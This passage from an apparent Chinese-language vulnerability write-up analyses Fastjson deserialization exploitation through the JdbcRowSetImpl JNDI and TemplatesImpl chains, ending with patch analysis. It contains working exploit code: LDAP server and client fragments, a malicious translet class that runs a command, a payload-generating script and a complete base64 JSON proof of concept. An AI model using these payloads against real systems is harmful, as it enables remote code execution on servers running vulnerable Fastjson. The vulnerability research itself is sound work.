cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
LDAPClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient { public static void main(String[] args) throws Exception{ try { Context context = new InitialContext(); context.lookup("ldap://127.0.0.1:1389/badClassName"); } catch (NamingException e) { e.printStackTrace(); } } }
恶意远程类和上面一样
漏洞分析 前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分
调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址
接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数
跟进connect方法
这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 connect:643, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:606, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:6, JNDIClient
TemplatesImpl利用链 漏洞原理:Fastjson通过bytecodes
字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习
漏洞复现 TEMPOC.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TEMPOC extends AbstractTranslet { public TEMPOC() throws IOException { Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { TEMPOC t = new TEMPOC(); } }
这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload
1 2 3 4 5 6 7 import base64 fin = open(r"TEMPOC.class","rb") byte = fin.read() fout = base64.b64encode(byte).decode("utf-8") poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout print poc
POC如下
1 {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
漏洞分析 前面的流程是通用的,直接分析不同的部分。
进入deserialze后解析到key为_bytecodes
时,调用parseField()进一步解析
跟进parseField方法,对_bytecodes
对应的内容进行解析
跟进FieldDeserializer#parseField方法
解析出_bytecodes
对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
这里使用了set方法来设置_bytecodes
的值
接着解析到_outputProperties
的内容
这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进TemplatesImpl#getOutputProperties
跟进newTransformer方法
跟进getTransletInstance方法
这里通过defineTransletClasses创建了TEMPOC类并生成了实例
进而执行TEMPOC类的构造方法所以就执行了任意代码,整个调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <init>:13, TEMPOC newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:7, Unser
一些问题解惑 为什么要继承AbstractTranslet类 上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例
如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常
为什么需要对_bytecodes进行Base64编码
跟进deserialze方法
跟进parseArray方法
跟进ObjectDeserializer#deserializer方法
跟进byteValue方法
将_bytecodes
的内容进行base64解码
为什么需要设置_tfactory为{} 在调用defineTransletClasses方法时,若_tfactory
为null则会导致代码报错
补丁分析 从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:
使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链